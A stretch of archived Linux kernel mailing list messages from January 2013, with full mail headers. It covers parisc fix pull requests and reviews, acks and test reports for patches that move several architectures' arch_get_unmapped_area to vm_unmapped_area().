Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TyK2b-0001nV-R0
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jan 2013 11:28:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752916Ab3AXK2A (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jan 2013 05:28:00 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:56868 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752824Ab3AXK17 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jan 2013 05:27:59 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.1]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LyxXq-1V2Zjh3680-01496G for
 <linux-parisc@vger.kernel.org>; Thu, 24 Jan 2013 11:27:57 +0100
Original-Received: (qmail 27564 invoked by uid 0); 24 Jan 2013 10:27:57 -0000
Original-Received: from 155.56.68.216 by www037.gmx.net with HTTP;
 Thu, 24 Jan 2013 11:27:56 +0100 (CET)
In-Reply-To: <CAMuHMdViEAXdm=iYXeejdnxw_Xj_7HF63DcUojwBm-G+UeSeuw@mail.gmail.com>
X-Authenticated: #1045983
X-Flags: 0001
X-Mailer: WWW-Mail 6100 (Global Message Exchange)
X-Priority: 3
X-Provags-ID: V01U2FsdGVkX18MBm8Fe20M4rfynzgD0p2KOSz6Km6TaVsIdpXEOO
 1HqKN+t8H793qEWtuUDBDX9Aus8DZPX18q7Q== 
X-GMX-UID: +2lzcT4yeSEqX76WZHQhtEt+IGRvb8DP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4761 gmane.linux.kernel:1428440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4761>

Hi Geert,

From: Geert Uytterhoeven <geert@linux-m68k.org>
> On Tue, Jan 22, 2013 at 10:11 PM, Helge Deller <deller@gmx.de> wrote:
> > please consider pulling the following 4 patches for 3.8-rc5 which
> improve
> > the stability of the linux kernel on the parisc architecture.
> 
> I think you forgot https://patchwork.kernel.org/patch/1917351/

I did not scheduled it as bug fix for 3.8, since the HPUX support is broken in the parisc tree anyway.

But I did not forgot your patch either. It's in my local git repository and will go in for kernel 3.9. That's why it's in state "accepted" in patchwork already.
I hope that's OK for you?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 1/8] mm: use vm_unmapped_area() on parisc architecture
Date: Thu, 24 Jan 2013 10:33:32 +0000
Lines: 105
Approved: news@gmane.org
Message-ID: <1359023612.2394.17.camel@dabdike.int.hansenpartnership.com>
References: <1358990991-21316-1-git-send-email-walken@google.com>
	 <1358990991-21316-2-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359023623 2160 80.91.229.3 (24 Jan 2013 10:33:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 10:33:43 +0000 (UTC)
Cc: Benjamin Herrenschmidt <benh@kernel.crashing.org>, Paul Mackerras
 <paulus@samba.org>, "James E.J. Bottomley" <jejb@parisc-linux.org>, Helge
 Deller <deller@gmx.de>, Richard Henderson <rth@twiddle.net>, Ivan
 Kokshaysky <ink@jurassic.park.msu.ru>, Matt Turner <mattst88@gmail.com>,
 David Howells <dhowells@redhat.com>, Tony Luck <tony.luck@intel.com>,
 Fenghua Yu <fenghua.yu@intel.com>, linux-mm@kvack.org,
 linux-kernel@vger.kernel.org,  Andrew Morton <akpm@linux-foundation.org>,
 linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org, 
 linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 11:33:58 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyK85-0005Mw-Pb
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 11:33:58 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 991306B000D; Thu, 24 Jan 2013 05:33:39 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 9440F6B000E; Thu, 24 Jan 2013 05:33:39 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 7B3BC6B0010; Thu, 24 Jan 2013 05:33:39 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx121.postini.com [74.125.245.121])
	by kanga.kvack.org (Postfix) with SMTP id 18E956B000D
	for <linux-mm@kvack.org>; Thu, 24 Jan 2013 05:33:39 -0500 (EST)
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]) by na3sys010amx121.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 10:33:39 GMT
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2CE5B8EE0DF;
	Thu, 24 Jan 2013 02:33:38 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id So5sEBOHtU-4; Thu, 24 Jan 2013 02:33:38 -0800 (PST)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 874538EE0CB;
	Thu, 24 Jan 2013 02:33:34 -0800 (PST)
In-Reply-To: <1358990991-21316-2-git-send-email-walken@google.com>
X-Mailer: Evolution 3.6.2 
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <James.Bottomley@HansenPartnership.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93897 gmane.linux.kernel:1428444 gmane.linux.ports.ppc64.devel:87351 gmane.linux.ports.parisc:4762 gmane.linux.ports.alpha:2012 gmane.linux.ports.ia64:22961
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93897>

On Wed, 2013-01-23 at 17:29 -0800, Michel Lespinasse wrote:
> Update the parisc arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
> 
> Signed-off-by: Michel Lespinasse <walken@google.com>
> Acked-by: Rik van Riel <riel@redhat.com>
> 
> ---
>  arch/parisc/kernel/sys_parisc.c |   46 ++++++++++++++------------------------
>  1 files changed, 17 insertions(+), 29 deletions(-)
> 
> diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
> index f76c10863c62..6ab138088076 100644
> --- a/arch/parisc/kernel/sys_parisc.c
> +++ b/arch/parisc/kernel/sys_parisc.c
> @@ -35,18 +35,15 @@
>  
>  static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
>  {
> -	struct vm_area_struct *vma;
> +	struct vm_unmapped_area_info info;
>  
> -	addr = PAGE_ALIGN(addr);
> -
> -	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
> -		/* At this point:  (!vma || addr < vma->vm_end). */
> -		if (TASK_SIZE - len < addr)
> -			return -ENOMEM;
> -		if (!vma || addr + len <= vma->vm_start)
> -			return addr;
> -		addr = vma->vm_end;
> -	}
> +	info.flags = 0;
> +	info.length = len;
> +	info.low_limit = PAGE_ALIGN(addr);
> +	info.high_limit = TASK_SIZE;
> +	info.align_mask = 0;
> +	info.align_offset = 0;
> +	return vm_unmapped_area(&info);
>  }
>  
>  #define DCACHE_ALIGN(addr) (((addr) + (SHMLBA - 1)) &~ (SHMLBA - 1))

This macro is now redundant and can be removed.

> @@ -63,30 +60,21 @@ static unsigned long get_unshared_area(unsigned long addr, unsigned long len)
>   */
>  static int get_offset(struct address_space *mapping)
>  {
> -	int offset = (unsigned long) mapping << (PAGE_SHIFT - 8);
> -	return offset & 0x3FF000;
> +	return (unsigned long) mapping >> 8;

I'm not sure I agree with this shift (but I think the original was wrong
as well so the comment probably needs updating.)  Trying to derive
entropy from the mapping address is always nasty.  Mostly they're
embedded in the inode, so the right shift should be something like
log2(sizeof(inode)) + 1 and since the inode size is usually somewhere
between 512 and 1024 bytes, that comes out to 10 I think.

>  }
>  
>  static unsigned long get_shared_area(struct address_space *mapping,
>  		unsigned long addr, unsigned long len, unsigned long pgoff)
>  {
> -	struct vm_area_struct *vma;
> -	int offset = mapping ? get_offset(mapping) : 0;
> -
> -	offset = (offset + (pgoff << PAGE_SHIFT)) & 0x3FF000;
> +	struct vm_unmapped_area_info info;
>  
> -	addr = DCACHE_ALIGN(addr - offset) + offset;
> -
> -	for (vma = find_vma(current->mm, addr); ; vma = vma->vm_next) {
> -		/* At this point:  (!vma || addr < vma->vm_end). */
> -		if (TASK_SIZE - len < addr)
> -			return -ENOMEM;
> -		if (!vma || addr + len <= vma->vm_start)
> -			return addr;
> -		addr = DCACHE_ALIGN(vma->vm_end - offset) + offset;
> -		if (addr < vma->vm_end) /* handle wraparound */
> -			return -ENOMEM;
> -	}
> +	info.flags = 0;
> +	info.length = len;
> +	info.low_limit = PAGE_ALIGN(addr);
> +	info.high_limit = TASK_SIZE;
> +	info.align_mask = PAGE_MASK & (SHMLBA - 1);
> +	info.align_offset = (get_offset(mapping) + pgoff) << PAGE_SHIFT;
> +	return vm_unmapped_area(&info);
>  }
>  
>  unsigned long arch_get_unmapped_area(struct file *filp, unsigned long addr,

Other than that, I think this will work, but I'd like to test it.

James


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [GIT PULL] parisc fixes for v3.8-rc5
Date: Thu, 24 Jan 2013 12:52:59 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <CAMuHMdUHs7dz9M6wjJgyTUOGxueUrN6S9b_a7c_Gnd1KmqQPhw@mail.gmail.com>
References: <50FF006C.7070803@gmx.de>
	<CAMuHMdViEAXdm=iYXeejdnxw_Xj_7HF63DcUojwBm-G+UeSeuw@mail.gmail.com>
	<20130124102756.213380@gmx.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1359028385 2714 80.91.229.3 (24 Jan 2013 11:53:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 11:53:05 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, dave.anglin@bell.net,
	jejb@parisc-linux.org, linux-parisc@vger.kernel.org,
	torvalds@linux-foundation.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 24 12:53:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TyLMu-0004ky-Fk
	for glpp-linux-parisc@plane.gmane.org; Thu, 24 Jan 2013 12:53:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753440Ab3AXLxD (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 24 Jan 2013 06:53:03 -0500
Original-Received: from mail-la0-f43.google.com ([209.85.215.43]:60041 "EHLO
	mail-la0-f43.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752868Ab3AXLxB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 24 Jan 2013 06:53:01 -0500
Original-Received: by mail-la0-f43.google.com with SMTP id ek20so1893957lab.2
        for <multiple recipients>; Thu, 24 Jan 2013 03:53:00 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:x-received:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        bh=MpN1IzJ6xVMNCg6W4R52Sq+kYIkOotv9ofGD05JLNf0=;
        b=xfhi+IWJOO+DklHoH80dlTNNWxIVHlxE0o71evhyptga2a4pqAEJpYZUelVumYQ0i7
         2lKFoikD2YE1t8HfJPIHV7CqSz+3ObxJkHhgXCi0HS0TDXmhp/nsxkIKoGQexL4ghNgl
         CBEh2l8DARCjIUjTW93GVbDp3X0ghX5Fkt64ih0Cz0eYPxUNcT9FgMh/X0Xs3G8Hx1if
         SCKqrKxoEgFjA+A3yvmhlSI0FcsJhlKOIfAAnHt4GgEsCmBM0LVj911muOl4O4iX4o0w
         Ab9VxmN6du2fn1euWp0eyUffK1tUVI9/5uyGlu7yFqCeIFCSG8S0dgnSrOQ+1xlD4P6J
         LYeg==
X-Received: by 10.152.136.20 with SMTP id pw20mr1592737lab.16.1359028379966;
 Thu, 24 Jan 2013 03:52:59 -0800 (PST)
Original-Received: by 10.112.10.7 with HTTP; Thu, 24 Jan 2013 03:52:59 -0800 (PST)
In-Reply-To: <20130124102756.213380@gmx.net>
X-Google-Sender-Auth: 063hbkAxVBZpESkVTEjcqrRDiVM
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4763 gmane.linux.kernel:1428572
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4763>

Hi Helge,

On Thu, Jan 24, 2013 at 11:27 AM, Helge Deller <deller@gmx.de> wrote:
> From: Geert Uytterhoeven <geert@linux-m68k.org>
>> On Tue, Jan 22, 2013 at 10:11 PM, Helge Deller <deller@gmx.de> wrote:
>> > please consider pulling the following 4 patches for 3.8-rc5 which
>> improve
>> > the stability of the linux kernel on the parisc architecture.
>>
>> I think you forgot https://patchwork.kernel.org/patch/1917351/
>
> I did not scheduled it as bug fix for 3.8, since the HPUX support is broken in the parisc tree anyway.

IC, I didn't know that.

> But I did not forgot your patch either. It's in my local git repository and will go in for kernel 3.9. That's why it's in state "accepted" in patchwork already.
> I hope that's OK for you?

Sure, it's up to you.

It's just one of the three issues preventing you from having a green
parisc-allmodconfig build on http://kisskb.ellerman.id.au/kisskb/matrix/.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Howells <dhowells@redhat.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 3/8] mm: use vm_unmapped_area() on frv architecture
Date: Thu, 24 Jan 2013 14:13:10 +0000
Organization: Red Hat UK Ltd. Registered Address: Red Hat UK Ltd, Amberley
	Place, 107-111 Peascod Street, Windsor, Berkshire, SI4 1TE, United
	Kingdom.
	Registered in England and Wales under Company Registration No. 3798903
Lines: 16
Approved: news@gmane.org
Message-ID: <27625.1359036790@warthog.procyon.org.uk>
References: <1358990991-21316-4-git-send-email-walken@google.com> <1358990991-21316-1-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1359036817 19665 80.91.229.3 (24 Jan 2013 14:13:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Jan 2013 14:13:37 +0000 (UTC)
Cc: dhowells@redhat.com, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        Paul Mackerras <paulus@samba.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, Richard Henderson <rth@twiddle.net>,
        Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
        Matt Turner <mattst88@gmail.com>, Tony Luck <tony.luck@intel.com>,
        Fenghua Yu <fenghua.yu@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Thu Jan 24 15:13:53 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyNYu-00042V-Lc
	for glkm-linux-mm-2@m.gmane.org; Thu, 24 Jan 2013 15:13:52 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 4ADE06B0005; Thu, 24 Jan 2013 09:13:33 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 416276B0008; Thu, 24 Jan 2013 09:13:33 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 24F196B0009; Thu, 24 Jan 2013 09:13:33 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx166.postini.com [74.125.245.166])
	by kanga.kvack.org (Postfix) with SMTP id A90516B0005
	for <linux-mm@kvack.org>; Thu, 24 Jan 2013 09:13:32 -0500 (EST)
Original-Received: from mx1.redhat.com ([209.132.183.28]) (using TLSv1) by na3sys010amx166.postini.com ([74.125.244.10]) with SMTP;
	Thu, 24 Jan 2013 14:13:32 GMT
Original-Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id r0OEDHb0018637
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Thu, 24 Jan 2013 09:13:17 -0500
Original-Received: from warthog.procyon.org.uk (ovpn-113-31.phx2.redhat.com [10.3.113.31])
	by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id r0OEDAPb018985;
	Thu, 24 Jan 2013 09:13:11 -0500
In-Reply-To: <1358990991-21316-4-git-send-email-walken@google.com>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <dhowells@redhat.com> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93901 gmane.linux.kernel:1428622 gmane.linux.ports.ppc64.devel:87353 gmane.linux.ports.parisc:4764 gmane.linux.ports.alpha:2013 gmane.linux.ports.ia64:22962
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93901>

Michel Lespinasse <walken@google.com> wrote:

> Update the frv arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
> 
> Signed-off-by: Michel Lespinasse <walken@google.com>
> Acked-by: Rik van Riel <riel@redhat.com>

Acked-by: David Howells <dhowells@redhat.com>

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Cree <mcree@orcon.net.nz>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ia64
Subject: Re: [PATCH 2/8] mm: use vm_unmapped_area() on alpha architecture
Date: Fri, 25 Jan 2013 16:49:58 +1300
Lines: 19
Approved: news@gmane.org
Message-ID: <43E02291-8F84-40CD-B429-847E7533EA18@orcon.net.nz>
References: <1357694895-520-1-git-send-email-walken@google.com> <1357694895-520-3-git-send-email-walken@google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1359085840 10128 80.91.229.3 (25 Jan 2013 03:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jan 2013 03:50:40 +0000 (UTC)
Cc: Rik van Riel <riel@redhat.com>,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Matt Turner <mattst88@gmail.com>, David Howells <dhowells@redhat.com>,
        Tony Luck <tony.luck@intel.com>, linux-mm@kvack.org,
        linux-kernel@vger.kernel.org,
        Andrew Morton <akpm@linux-foundation.org>,
        linuxppc-dev@lists.ozlabs.org, linux-parisc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-ia64@vger.kernel.org
To: Michel Lespinasse <walken@google.com>
Original-X-From: owner-linux-mm@kvack.org Fri Jan 25 04:50:55 2013
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <owner-linux-mm@kvack.org>)
	id 1TyaJa-0006bk-Ri
	for glkm-linux-mm-2@m.gmane.org; Fri, 25 Jan 2013 04:50:55 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 92C946B0005; Thu, 24 Jan 2013 22:50:36 -0500 (EST)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 8B42C6B0008; Thu, 24 Jan 2013 22:50:36 -0500 (EST)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 6DEB36B0009; Thu, 24 Jan 2013 22:50:36 -0500 (EST)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from psmtp.com (na3sys010amx197.postini.com [74.125.245.197])
	by kanga.kvack.org (Postfix) with SMTP id 3FB486B0005
	for <linux-mm@kvack.org>; Thu, 24 Jan 2013 22:50:35 -0500 (EST)
Original-Received: from nctlincom01.orcon.net.nz ([60.234.4.69]) (using TLSv1) by na3sys010amx197.postini.com ([74.125.244.10]) with SMTP;
	Fri, 25 Jan 2013 03:50:35 GMT
Original-Received: from mx3.orcon.net.nz (mx3.orcon.net.nz [219.88.242.53])
	by nctlincom01.orcon.net.nz (8.14.3/8.14.3/Debian-9.4) with ESMTP id r0P3oWHO005901
	for <linux-mm@kvack.org>; Fri, 25 Jan 2013 16:50:32 +1300
Original-Received: from Debian-exim by mx3.orcon.net.nz with local (Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1TyaJD-0008Fh-SU
	for linux-mm@kvack.org; Fri, 25 Jan 2013 16:50:31 +1300
Original-Received: from cree.phys.waikato.ac.nz ([130.217.188.11])
	by mx3.orcon.net.nz with esmtpa (Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1TyaJB-0007mY-RH; Fri, 25 Jan 2013 16:50:29 +1300
In-Reply-To: <1357694895-520-3-git-send-email-walken@google.com>
X-Mailer: Apple Mail (2.936)
X-DSPAM-Check: by mx3.orcon.net.nz on Fri, 25 Jan 2013 16:50:29 +1300
X-DSPAM-Result: Innocent
X-DSPAM-Processed: Fri Jan 25 16:50:31 2013
X-DSPAM-Confidence: 0.6515
X-DSPAM-Probability: 0.0000
X-Bayes-Prob: 0.0001 (Score 0, tokens from: @@RPTN, default)
X-Spam-Score: -3.00 () [Hold at 4.00] CC(NZ:-3)
X-CanIt-Geo: ip=130.217.188.11; country=NZ; region=G1; city=Hamilton; latitude=-37.7833; longitude=175.2833; http://maps.google.com/maps?q=-37.7833,175.2833&z=6
X-CanItPRO-Stream: base:default
X-Canit-Stats-ID: 06IQ3Ow2n - ba2dced2bb3d - 20130125
X-Scanned-By: CanIt (www . roaringpenguin . com) on 172.16.100.174
X-pstn-neptune: 0/0/0.00/0
X-pstn-levels: (S:99.90000/99.90000 CV:99.9000 FC:95.5390 LC:95.5390 R:95.9108 P:95.9108 M:97.0282 C:98.6951 )
X-pstn-dkim: 0 skipped:not-enabled
X-pstn-settings: 3 (1.0000:1.0000) s cv gt3 gt2 gt1 r p m c 
X-pstn-addresses: from <mcree@orcon.net.nz> [db-null] 
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.3
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:93923 gmane.linux.kernel:1429286 gmane.linux.ports.ppc64.devel:87405 gmane.linux.ports.parisc:4765 gmane.linux.ports.alpha:2014 gmane.linux.ports.ia64:22963
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/93923>

On 9/01/2013, at 2:28 PM, Michel Lespinasse wrote:
> Update the alpha arch_get_unmapped_area function to make use of
> vm_unmapped_area() instead of implementing a brute force search.
>
> Signed-off-by: Michel Lespinasse <walken@google.com>

'Tis running fine on my alpha.

Tested-by: Michael Cree <mcree@orcon.net.nz>

Cheers
Michael.

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:08:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH v2 8/9] parisc: Provide dummy dma_mmap_coherent() and dma_get_sgtable()
Date: Sun, 27 Jan 2013 11:33:27 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <1359282808-31398-9-git-send-email-geert@linux-m68k.org>
References: <1359282808-31398-1-git-send-email-geert@linux-m68k.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1359282829 28538 80.91.229.3 (27 Jan 2013 10:33:49 GMT)
